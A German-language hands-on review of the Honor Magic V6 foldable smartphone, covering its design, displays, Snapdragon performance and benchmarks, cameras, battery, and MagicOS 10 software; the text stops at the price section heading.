Das Honor Magic V6 ist ein Falt-Smartphone, das einfach al...]]></description>
<link>https://tsecurity.de/de/3694426/it-security-nachrichten/honor-magic-v6-im-test-das-fast-perfekte-foldable/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694426/it-security-nachrichten/honor-magic-v6-im-test-das-fast-perfekte-foldable/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-21.52.53.png?w=1024" alt="Honor Magic V6" class="wp-image-4198590" width="1024" height="586" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<h2 class="wp-block-heading">Auf einen Blick</h2>



<h3 class="wp-block-heading">Pro</h3>



<ul class="wp-block-list">
<li>Wunderschönes, schlankes Design</li>



<li>Große, helle Displays</li>



<li>Hervorragende Kameras</li>



<li>Coole Software-Funktionen</li>
</ul>



<h3 class="wp-block-heading">Kontra</h3>



<ul class="wp-block-list">
<li>Hoher Preis</li>



<li>MagicOS kann gelegentlich frustrierend sein</li>
</ul>



<h3 class="wp-block-heading">Fazit</h3>



<p class="wp-block-paragraph">Das Honor Magic V6 ist ein Falt-Smartphone, das einfach alles kann. Es ist schlank, robust, leistungsstark und sieht gut aus. Die Kameras gehören zu den besten, die Software bietet einige raffinierte Funktionen und die Akkulaufzeit ist außergewöhnlich. Besitzer eines Magic V5 werden wahrscheinlich kaum einen Grund für ein Upgrade sehen, aber für alle anderen ist es eine gute Wahl – sofern Sie es sich leisten können.</p>



<p class="wp-block-paragraph">Das Honor Magic V6 wurde ursprünglich bereits im März in China vorgestellt, doch es dauerte eine Weile, bis es den Weg nach Europa fand. Nun ist es endlich in Europa erhältlich und strebt den Titel des bislang <a href="https://www.pcwelt.de/article/2109390/bestes-falt-smartphone.html" target="_blank">besten Falt-Smartphones</a> an.</p>



<p class="wp-block-paragraph">Leider ist die Konkurrenz für Honor stärker denn je, und sie wird noch härter werden, sobald Apples seit Langem gemunkeltes Foldable auf den Markt kommt. Bietet dieses schlanke Kraftpaket genug, um weiterhin überzeugend zu bleiben?</p>



<p class="wp-block-paragraph">Es sieht auf jeden Fall vielversprechend aus, verfügt über einen der größten Akkus aller jemals erschienenen Falt-Smartphones, ist das erste mit IP69-Zertifizierung und gehört dennoch zu den dünnsten Modellen. Das ist schon mal ein guter Anfang. Ich habe es in den vergangenen Wochen auf Herz und Nieren geprüft, und hier ist mein Fazit.</p>



<h2 class="wp-block-heading">Design &amp; Verarbeitung</h2>



<ul class="wp-block-list">
<li>Aluminiumrahmen, Rückseite aus Verbundfasermaterial</li>



<li>219 g, NanoCrystal Shield-Glas</li>



<li>IP69-zertifiziert</li>
</ul>



<p class="wp-block-paragraph">Das Honor Magic V6 sieht dem <a href="https://www.pcwelt.de/article/2838914/honor-magic-v5-test.html" target="_blank">Magic V5</a> sehr ähnlich, wobei der auffälligste Unterschied in der Form des Kamerarahmens liegt. Dieser ist nun kantiger und weist eine achteckige Form auf. Auch neue Farbvarianten tragen dazu bei, es von der Vorgängergeneration abzugrenzen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-22.14.26.png?w=1024" alt="Honor Magic V6" class="wp-image-4199606" width="1024" height="586" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<p class="wp-block-paragraph">Die rote Version ist wahrscheinlich die auffälligste; sie verfügt über eine tiefrote, fast blutrote Rückseite mit strukturierter Oberfläche. Ich besitze die goldene Version, die ebenfalls sehr auffällig ist. Freunde haben bemerkt, dass es wie ein Smartphone aussieht, das ein saudischer Prinz oder Kim Kardashian benutzen würde.</p>



<p class="wp-block-paragraph">Die Farbe schimmert leicht, wenn Licht darauf fällt; sowohl am Scharnier als auch auf der Rückseite ist ein dezentes, sich wiederholendes Dreiecksmuster zu erkennen, und es bleibt irgendwie frei von Fingerabdrücken, obwohl es ziemlich glänzend ist. Das sieht wirklich cool aus. Auch die mitgelieferte Hülle ist von höchster Qualität, mit einem cremefarbenen Kunstlederbezug und einem roségoldenen Kamerarahmen, der gleichzeitig als ausklappbarer Ständer dient.</p>



<p class="wp-block-paragraph">Wenn Sie etwas suchen, das etwas weniger Aufmerksamkeit auf sich zieht, gibt es natürlich auch traditionellere Modelle in Schwarz und Weiß. Letzteres hat zudem einen versteckten Vorteil: Mit nur 8,75 Millimetern im geschlossenen Zustand ist es das dünnste Modell der Reihe, und Honor geht davon aus, dass es derzeit das dünnste Falt-Smartphone auf dem Markt ist.</p>



<p class="wp-block-paragraph">Ich habe das weiße Modell nicht ausprobiert, und vielleicht ist es tatsächlich spürbar schlanker, aber meiner Meinung nach sieht die goldene Version definitiv etwas dicker aus und fühlt sich auch so wie mein 8,9 Millimeter dickes <a href="https://www.pcwelt.de/article/2843601/samsung-galaxy-z-fold-7-test.html" target="_blank">Galaxy Z Fold 7</a> an.</p>



<p class="wp-block-paragraph">Das ist allerdings Haarspalterei, denn dieses Smartphone ist immer noch dünner als viele Flaggschiff-Smartphones im Barrenformat. Ob es nun das dünnste ist oder nicht – es ist auf jeden Fall dünn genug, um sich in der Hosentasche angenehm anzufühlen.<br><br></p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-22.14.34.png?w=1024" alt="Honor Magic V6" class="wp-image-4199607" width="1024" height="586" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<p class="wp-block-paragraph">Erwähnenswert ist auch, dass das Cover-Display nun flach ist und eine symmetrischere Form aufweist. Dadurch sieht das Smartphone im zusammengeklappten Zustand noch mehr wie ein herkömmliches Barren-Handy aus, doch die unvermeidliche, eckige Kante am Scharnier verrät es ein wenig.<br><br></p>



<p class="wp-block-paragraph">So wichtig die Abmessungen eines Klapphandys auch sind, ebenso entscheidend ist die Robustheit. Und glücklicherweise ist das Honor Magic V6 robust wie ein Panzer gebaut.</p>



<p class="wp-block-paragraph">Es verfügt über die Schutzklasse IP69 – die höchste aller faltbaren Smartphones. Das bedeutet, dass es praktisch staubdicht ist und sowohl das Eintauchen in Süßwasser als auch den Strahl von heißem Wasser problemlos aushält. Die Technologie der faltbaren Smartphones hat große Fortschritte gemacht.</p>



<p class="wp-block-paragraph">Es ist zudem besonders robust konstruiert, mit kratzfestem „NanoCrystal Shield“-Glas auf der Vorderseite und einem „Super Steel“-Scharnier, das die Stoßfestigkeit verbessert.</p>



<p class="wp-block-paragraph">SGS-Zertifizierungen untermauern diese Angaben ebenfalls, da das Smartphone für seine Fallfestigkeit mit 5 Sternen ausgezeichnet wurde. Ich habe mein Testgerät nicht allzu grob behandelt, aber es ist beruhigend zu wissen, dass es unversehrt bleiben dürfte, sollte mir einmal ein Ausrutscher unterlaufen.</p>



<h2 class="wp-block-heading">Bildschirm &amp; Lautsprecher</h2>



<ul class="wp-block-list">
<li>Außen: 6,52 Zoll, 1.080 x 2.420, OLED, 120 Hertz</li>



<li>Innen: 7,95 Zoll, 2.172 × 2.352, OLED, 120 Hertz</li>



<li>Stereolautsprecher</li>
</ul>



<p class="wp-block-paragraph">Bei Falt-Smartphones dreht sich alles um den Bildschirm. Beginnen wir also mit dem Star der Show: dem inneren Display. Mit einer Diagonale von knapp unter 8 Zoll gehört es zu den größten Falt-Smartphones im Buchformat auf dem Markt.</p>



<p class="wp-block-paragraph">Es ist nahezu perfekt quadratisch, was sich hervorragend für die parallele Nutzung zweier Apps eignet.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-22.14.39.png?w=1024" alt="Honor Magic V6" class="wp-image-4199608" width="1024" height="586" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<p class="wp-block-paragraph">Dieses flexible Display verfügt über eine Bildwiederholfrequenz von 120 Hertz und erreicht eine beeindruckende Spitzenhelligkeit von 5.000 Nits. Solche Helligkeitsangaben sollten Sie zwar stets mit einer gehörigen Portion Skepsis betrachten, doch unabhängig davon handelt es sich um ein sehr helles Display, das auch im Freien gut ablesbar ist.</p>



<p class="wp-block-paragraph">Der innere Bildschirm ist mit einer glänzenden Schutzfolie versehen (wenn auch mit einer Antireflexbeschichtung), was sowohl Vor- als auch Nachteile mit sich bringt. Wie ich bereits in anderen Testberichten zu Falt-Smartphones erwähnt habe, kaschieren mattierte Schutzfolien die Falz zwar besser, ziehen aber auch Fingerabdrücke an. Diese hier verschmiert nicht so leicht, doch trotz aller Bemühungen von Honor treten entlang der Falz einige unerwünschte Reflexionen auf.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-22.14.44.png?w=1024" alt="Honor Magic V6" class="wp-image-4199609" width="1024" height="586" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<p class="wp-block-paragraph">Apropos: Die Falz ist bewundernswert flach, und noch vor nicht allzu langer Zeit wäre sie die beste gewesen, die mir je begegnet wäre. Allerdings nutze ich das Oppo Find N6 seit seiner Markteinführung fast täglich, und leider kann dieses Modell da nicht ganz mithalten.</p>



<p class="wp-block-paragraph">Es ist dennoch äußerst beeindruckend und um Längen besser als das <a href="https://www.pcwelt.de/article/2945312/google-pixel-10-pro-test-3.html" target="_blank">Pixel 10 Pro Fold</a>. Auch im Vergleich zum Galaxy Z Fold 7 fällt die Falz etwas weniger auf.</p>



<p class="wp-block-paragraph">Was das Außendisplay betrifft, so ist es fast nicht von dem Bildschirm eines Flaggschiff-Handys im Barren-Format zu unterscheiden, abgesehen davon, dass es ganz leicht schmaler ist als üblich. Es verfügt über schöne, schmale Einfassungen an allen Seiten, eine flinke Bildwiederholfrequenz von 120 Hertz und eine noch höhere Spitzenhelligkeit von 6.000 Nits.</p>



<p class="wp-block-paragraph">Wie bereits bei den letzten Generationen der faltbaren Honor-Modelle gibt es keine nennenswerten Nachteile bei der Nutzung des zusammengeklappten Telefons; es fühlt sich einfach wie ein normales Smartphone an. Wenn Sie dann einen größeren Bildschirm für Ihre Inhalte, Spiele oder Multitasking benötigen, klappen Sie es einfach auf.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-22.14.47.png?w=1024" alt="Honor Magic V6" class="wp-image-4199611" width="1024" height="586" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<p class="wp-block-paragraph">Wie üblich hat Honor einiges in Funktionen zum Augenschutz investiert, und beide Bildschirme unterstützen eine PWM-Dimmung mit 4.320 Hertz. Das werden Sie besonders zu schätzen wissen, wenn Sie empfindlich auf Flackern reagieren. Beide Bildschirme unterstützen zudem die Eingabe per Stylus, allerdings hatte ich leider keinen Honor-Stylus zur Hand, um dies auszuprobieren.</p>



<p class="wp-block-paragraph">Die luxuriösen Displays werden durch ein ordentliches Lautsprecherset ergänzt. Das Stereopaar erzeugt eine schöne, breite Klangbühne, kann mehr als laut genug werden und bietet eine ordentliche Basswiedergabe. Sie können zwar nicht mit den bassbetonten Lautsprechern des <a href="https://www.pcwelt.de/article/3041397/honor-magic-8-pro-test.html" target="_blank">Magic 8 Pro</a> mithalten, aber bei einem so schlanken Gehäuse sind die Möglichkeiten nun einmal begrenzt.</p>



<h2 class="wp-block-heading">Technische Daten &amp; Leistung</h2>



<ul class="wp-block-list">
<li>Qualcomm Snapdragon 8 Elite Gen 5</li>



<li>16 GB RAM</li>



<li>512 GB Speicher</li>
</ul>



<p class="wp-block-paragraph">Das Magic V6 verfügt über den leistungsstärksten Chip von Qualcomm, den Snapdragon 8 Elite Gen 5, und das globale Modell ist mit 16 GB RAM und 512 GB Speicher ausgestattet. Bei einem so schlanken Falt-Smartphone stellt die Wärmeableitung stets eine Herausforderung dar, doch Honor hat hier eine großzügig dimensionierte Vapor-Chamber verbaut, um eine optimale Leistung zu gewährleisten.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-22.14.51.png?w=1024" alt="Honor Magic V6" class="wp-image-4199612" width="1024" height="586" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<p class="wp-block-paragraph">Das V6 hat meine täglichen Leistungsanforderungen problemlos erfüllt. Bei einem Falt-Smartphone habe ich oft drei Apps gleichzeitig geöffnet, wechsle zwischen ihnen hin und her und spiele häufig gleichzeitig Musik ab oder streame Videos. Selbst dann kam das Smartphone kaum ins Schwitzen.</p>



<p class="wp-block-paragraph">Man muss schon ein ziemlich anspruchsvolles Spiel starten, um dieses Smartphone ein wenig ins Schwitzen zu bringen, und wie es der Zufall so will, bin ich ziemlich süchtig nach <em>NTE: Neverness to Everness</em> (ein Open-World-Spiel mit atemberaubender Grafik und einer riesigen Stadtkarte, mit deren Darstellung die meisten Smartphones zu kämpfen haben). Doch das Magic V6 hatte damit kaum Probleme.</p>



<p class="wp-block-paragraph">Das Spiel lief bei der Grafikvoreinstellung „Extreme“ flüssig mit 60 FPS, und obwohl es sich ziemlich stark erwärmte – insbesondere im Bereich der Kamera –, schien die Leistung darunter nicht zu leiden. Die beste Erfahrung machte ich mit einem GameSir-Clamp-Controller, der die Wärme von meinen Handflächen fernhielt.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-22.14.55.png?w=1024" alt="Honor Magic V6" class="wp-image-4199613" width="1024" height="586" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<h2 class="wp-block-heading">Honor Magic V6 – Benchmark-Ergebnisse</h2>



<p class="wp-block-paragraph">Was die Benchmark-Ergebnisse angeht, wird es recht interessant. Während die meisten Ergebnisse hervorragend waren, hatte das Smartphone erhebliche Schwierigkeiten, den 3DMark Wildlife Extreme Stress Test abzuschließen. Normalerweise führe ich diesen Test bei aufgeklapptem Smartphone durch, doch es überhitzte sich und brach den Benchmark jedes Mal ab, wenn ich es versuchte.</p>



<p class="wp-block-paragraph">Zugegebenermaßen war es in letzter Zeit recht warm, doch so etwas ist mir bisher noch nie passiert. Bei der Durchführung des Tests auf dem Cover-Display konnte es den Test mit einem ordentlichen Ergebnis abschließen, auf dem klappbaren Bildschirm war dies jedoch nicht möglich. Im alltäglichen Gebrauch hatte ich jedoch nie derartige Probleme.</p>



<div class="infogram-embed" data-id="c07985c1-d0b5-46f6-bd84-2898abc5f4fa" data-type="interactive" data-title="Honor Magic V6 benchmarks"></div>




<h2 class="wp-block-heading">Kameras</h2>



<ul class="wp-block-list">
<li>50-MP-Hauptkamera mit f/1,6</li>



<li>64 MP, f/2,5, 3-fach-Tele</li>



<li>50 MP, f/2,2 Ultraweitwinkel</li>



<li>20 MP, f/2,2 Selfie-Kamera</li>
</ul>



<p class="wp-block-paragraph">Das Honor Magic V6 verfügt über dieselbe Kamera-Hardware wie die Vorgängergeneration, was bedeutet, dass es keine nennenswerten Neuerungen gibt.</p>



<p class="wp-block-paragraph">Allerdings verfügte das V5 bereits über eine der beeindruckendsten Kameraausstattungen unter allen faltbaren Smartphones, und die Konkurrenz hat sich in dieser Hinsicht nicht sonderlich ins Zeug gelegt – daher gehört es nach wie vor zu den Besten.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-22.14.59.png?w=1024" alt="Honor Magic V6" class="wp-image-4199614" width="1024" height="586" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<p class="wp-block-paragraph">Auf der Rückseite befindet sich eine 50-MP-Hauptkamera mit einem Sensor von ansehnlicher Größe (1/1,56 Zoll) und einem lichtstarken f/1,6-Objektiv. Hinzu kommen eine 50-MP-Ultraweitwinkelkamera mit einem extrem weiten Sichtfeld (entspricht 13 mm) sowie ein ausgezeichnetes 64-MP-Teleobjektiv. Außerdem gibt es zwei 20-MP-Selfie-Kameras, von denen jeweils eine durch das jeweilige Display ragt.</p>



<p class="wp-block-paragraph">Dies ist eine äußerst vielseitige Objektivausstattung, mit der Sie alles aufnehmen können – von weitläufigen Landschaften bis zu intimen Porträts. Wie üblich hat mir die Verwendung des Teleobjektivs am meisten Spaß gemacht, und dies könnte die beste Tele-Kamera sein, die jemals in einem faltbaren Smartphone verbaut wurde.</p>



<p class="wp-block-paragraph">Es verfügt über einen recht großen 1/2-Zoll-Sensor und kann aus sehr kurzer Entfernung fokussieren. Ihr Motiv muss sich lediglich etwa 20 Zentimeter vom Objektiv entfernt befinden, und in Kombination mit der Brennweite von 70 mm (äquivalent) entsteht so eine schöne perspektivische Kompression und ein natürliches Bokeh.</p>



<p class="wp-block-paragraph">Natürlich können Sie mit einem digitalen Ausschnitt noch weiter zoomen, und die Kamera-App ermöglicht Ihnen auf Wunsch eine bis zu 100-fache Vergrößerung. Bei einer Vergrößerung von mehr als 10-fach können Sie generative KI nutzen, um die Bilder zu bereinigen, doch auch ohne diese Funktion erhalten Sie bereits bei etwa 20-facher Vergrößerung brauchbare Bilder.</p>



<p class="wp-block-paragraph">Ich habe bereits erwähnt, wie weitwinklig das Ultraweitwinkelobjektiv ist, und das gefällt mir besonders gut daran; ansonsten ist es jedoch im Vergleich zu den anderen Objektiven definitiv ein Qualitätsverlust.</p>



<p class="wp-block-paragraph">Nachts ist es zudem am wenigsten überzeugend, da Bewegungsunschärfe dort nur schwer zu bewältigen ist. Bei den richtigen Lichtverhältnissen ist es jedoch zu wirklich beeindruckenden Aufnahmen fähig.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-22.15.23.png?w=1024" alt="Honor Magic V6" class="wp-image-4199618" width="1024" height="918" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<p class="wp-block-paragraph">Die Hauptkamera ist wie immer die zuverlässigste des Trios. Dank des größeren Sensors schneidet sie bei schlechten Lichtverhältnissen am besten ab und liefert tagsüber etwas schärfere Bilder als die anderen Kameras.</p>



<p class="wp-block-paragraph">Die Selfie-Kameras sind nichts Besonderes. Sie erfüllen ihren Zweck und eignen sich für Zoom-Anrufe, doch wenn man auf der Rückseite so beeindruckende Kameras hat, lohnt es sich wirklich, das Smartphone umzudrehen und den Bildschirm auf der Rückseite zu nutzen, um wirklich beeindruckende Fotos zu machen.</p>



<p class="wp-block-paragraph">Die Bildverarbeitung von Honor kann etwas unbeständig sein, aber ich habe den Eindruck, dass sie immer konsistenter wird, und wenn sie funktioniert, lassen sich wirklich atemberaubende Bilder erzielen.</p>



<p class="wp-block-paragraph">Mein größter Kritikpunkt ist die Bewegungsunschärfe im Porträtmodus. Ich bin mir nicht sicher, woran es liegt, aber ich erhalte viele unscharfe Aufnahmen, wenn die künstliche Hintergrundunschärfe aktiviert ist – selbst bei guten Lichtverhältnissen.</p>



<p class="wp-block-paragraph">Ansonsten bin ich mit den Bildern, die ich mit dem Magic V6 aufgenommen habe, sehr zufrieden. Die Harcourt-Porträtmodi sind so beeindruckend wie eh und je, und mit den übrigen Filtern lässt sich der Look Ihrer Fotos ziemlich drastisch verändern. Besonders gut gefällt mir der Filter „Nostalgic Negative“, der einen schönen, kontrastreichen Cross-Entwicklungs-Look mit blauen Schatten erzeugt.</p>



<p class="wp-block-paragraph">Was die Videoaufnahmen angeht, ist das Angebot etwas weniger umfangreich. Das soll nicht heißen, dass es schlecht ist, aber nachdem ich viel Zeit mit dem Oppo Find N6 verbracht habe, habe ich mich an ein ordentliches Log-Profil, 4K-120-Aufnahmen und Dolby Vision gewöhnt. Nichts davon ist hier vorhanden. Es gibt zwar ein Log-Profil, dieses funktioniert jedoch nur mit dem Hauptsensor und erzeugt ungewöhnlich körnige Schatten.</p>



<p class="wp-block-paragraph">Wenn Sie jedoch keine ganz so professionellen Ansprüche haben, werden Sie mit der Videoleistung wahrscheinlich sehr zufrieden sein. Sie können mit jeder Kamera bis zu 4K bei 60 FPS aufnehmen, mit Ausnahme der Selfie-Kamera, die maximal 4K bei 30 FPS erreicht. Die Bildstabilisierung ist gut, und auch die Mikrofone sind ordentlich.</p>



<h2 class="wp-block-heading">Akkulaufzeit &amp; Aufladen</h2>



<ul class="wp-block-list">
<li>6.660-mAh-Akku</li>



<li>80-Watt-Laden über Kabel</li>



<li>66 Watt kabelloses Laden</li>
</ul>



<p class="wp-block-paragraph">Das Honor Magic V6 verfügt über den größten Akku aller faltbaren Smartphones, die ich bisher getestet habe. Irgendwie ist es Honor gelungen, einen 6660-mAh-Akku in dieses hauchdünne Gehäuse zu integrieren. Samsun wird hoffentlich davon lernen.</p>



<p class="wp-block-paragraph">Diese Kapazität verblasst zwar im Vergleich zur chinesischen 1-TB-Version dieses Smartphones, die über einen erstaunlichen 7.150-mAh-Akku verfügt, doch wie wir in letzter Zeit oft gesehen haben, bedeuten die EU-Vorschriften, dass wir im Westen keinen ganz so massiven Akku erhalten können.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-22.15.38.png?w=1024" alt="Honor Magic V6" class="wp-image-4199619" width="1024" height="574" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<p class="wp-block-paragraph">Das spielt jedoch keine allzu große Rolle, denn dieser Akku ist mehr als gut genug. Obwohl ich den großen internen Bildschirm häufig nutzte und unzählige Fotos machte, reichte die Akkulaufzeit dieses Smartphones während des Großteils meiner Tests für eineinhalb Tage. Natürlich verkürzt intensives Gaming die Laufzeit etwas, aber Sie werden das Gerät selten, wenn überhaupt, vor dem Schlafengehen aufladen müssen.</p>



<p class="wp-block-paragraph">Auch das Aufladen erfolgt schnell, vorausgesetzt, Sie verfügen über ein ausreichend leistungsstarkes Netzteil (im Lieferumfang ist lediglich ein USB-C-Kabel enthalten), um die 80-Watt-Geschwindigkeit nutzen zu können. Ich konnte das Gerät in nur einer halben Stunde von leer auf fast 70 Prozent aufladen; mehr kann man sich kaum wünschen.</p>



<p class="wp-block-paragraph">Wenn Sie kabelloses Laden bevorzugen, ist dies ohne nennenswerte Einbußen bei der Geschwindigkeit möglich. Das Honor Magic V6 lässt sich mit einem offiziellen kabellosen Ladepad von Honor mit bis zu 66 Watt aufladen.</p>



<h2 class="wp-block-heading">Software &amp; Apps</h2>



<ul class="wp-block-list">
<li>MagicOS 10, basierend auf Android 16</li>



<li>Zahlreiche KI-Funktionen</li>



<li>Kompatibilität mit dem Apple-Ökosystem</li>
</ul>



<p class="wp-block-paragraph">Auf dem Magic V6 läuft MagicOS 10, Honors eigene Variante von <a href="https://www.pcwelt.de/article/2781437/android-16-release-design-funktionen-kompatible-geraete.html" target="_blank">Android 16</a>. Es handelt sich im Wesentlichen um dieselbe Software, die wir bereits von den letzten Honor-Flaggschiffmodellen kennen. Wenn Sie also bereits eines dieser Modelle ausprobiert haben, werden Sie kaum Überraschungen erleben.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-22.15.46.png?w=1024" alt="Honor Magic V6" class="wp-image-4199620" width="1024" height="574" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<p class="wp-block-paragraph">Die Software von Honor kann die Meinungen spalten. Sie weicht ziemlich stark vom typischen Android-Erlebnis ab; stattdessen erinnert sie zunehmend an iOS. Ob das nun gut ist oder nicht, hängt ganz von Ihren Vorlieben ab.</p>



<p class="wp-block-paragraph">Allerdings lässt sich die Benutzeroberfläche extrem gut anpassen – wenn Ihnen also das Design oder das Layout einer Funktion nicht gefällt, können Sie es höchstwahrscheinlich ändern.</p>



<p class="wp-block-paragraph">Insgesamt gefällt sie mir recht gut. Sie wirkt schnell und reaktionsfreudig, sieht standardmäßig ansprechend aus und bietet zahlreiche Werkzeuge zur weiteren Anpassung. Wie bereits erwähnt, gibt es zahlreiche Anlehnungen an iOS, darunter einige „Liquid Glass“-ähnliche Elemente, einen „Dynamic Island“-Klon, geteilte Benachrichtigungen/Schnelleinstellungen sowie die Möglichkeit, die App-Übersicht zu deaktivieren.</p>



<p class="wp-block-paragraph">Das sind zwar nicht die originellsten Entscheidungen, aber sie funktionieren gut, und die meisten sind vollkommen optional.</p>



<p class="wp-block-paragraph">Honor bietet Ihnen eine Vielzahl von KI-Funktionen, darunter die üblichen Tools für Transkription, Übersetzung und Zusammenfassung sowie einige sehr fortschrittliche Funktionen zur Fotobearbeitung.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-22.15.53.png?w=1024" alt="Honor Magic V6" class="wp-image-4199623" width="1024" height="574" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<p class="wp-block-paragraph">Auch das Multitasking ist hervorragend. Sie können Apps im Split-View nebeneinander anzeigen und dann eine dritte hinzufügen, die nur am Rand des Bildschirms hervorblitzt und bei Bedarf sofort einsatzbereit ist. Oder, wenn Sie es vorziehen, können Sie schwebende Fenster nutzen und so noch mehr Inhalte gleichzeitig auf dem Bildschirm anzeigen.</p>



<p class="wp-block-paragraph">Am spannendsten finde ich jedoch die Art und Weise, wie sich das Magic V6 in Apple-Produkte integrieren lässt. Insbesondere, wie gut es mit meinem Macbook zusammenarbeitet. Wenn Sie die Honor Workstation-App aus dem Mac App Store installieren, können Sie Dateien austauschen, zwischen Geräten kopieren und einfügen, Ihr Smartphone fernsteuern und das V6 sogar als drahtlosen zweiten Bildschirm nutzen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-22.15.58.png?w=1024" alt="Honor Magic V6" class="wp-image-4199625" width="1024" height="574" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<p class="wp-block-paragraph">Doch damit ist der Spaß noch lange nicht vorbei. Das Honor Magic V6 kann auch nativ Dateien in Ihrem iCloud-Konto durchsuchen und verwalten, und mit Honor Connect können Sie Dateien auch per AirDrop zu und von iPhones übertragen. Das ist großartig, wenn Sie ständig zwischen verschiedenen Ökosystemen hin- und herwechseln (wie ich es oft tue).</p>



<p class="wp-block-paragraph">Insgesamt ist es also ein solides Software-Erlebnis, das jedoch nicht ganz ohne Nachteile ist. Meine größte Kritik an Honor-Smartphones ist seit einigen Jahren unberücksichtigt geblieben. Das Akkumanagement ist extrem aggressiv und beendet standardmäßig Hintergrund-Apps mit rücksichtsloser Härte.</p>



<p class="wp-block-paragraph">Das bedeutet, dass Sie häufig unter stark verzögerten Benachrichtigungen leiden, bis Sie einige Einstellungen anpassen und sicherstellen, dass diese Apps geöffnet bleiben.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-22.16.03.png?w=1024" alt="Honor Magic V6" class="wp-image-4199626" width="1024" height="574" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<p class="wp-block-paragraph"><br><br>Das lässt sich zwar leicht beheben, und ich kann die Logik dahinter nachvollziehen – schließlich bieten Honor-Smartphones stets eine hervorragende Akkulaufzeit –, doch es ist äußerst ärgerlich, und ich würde mich sehr freuen, wenn dieses Problem behoben würde.</p>



<p class="wp-block-paragraph">Honor verspricht sieben Jahre lang Software-Updates und Sicherheitspatches für seine Flaggschiff-Geräte und liegt damit auf einer Stufe mit Samsung und Apple. Viel besser geht es kaum, auch wenn Sie möglicherweise eine Weile auf das auf <a href="https://www.pcwelt.de/article/2990238/android-17-release-features-update-2.html" target="_blank">Android 17</a> basierende MagicOS 11 warten müssen.</p>



<h2 class="wp-block-heading">Preis &amp; Verfügbarkeit</h2>



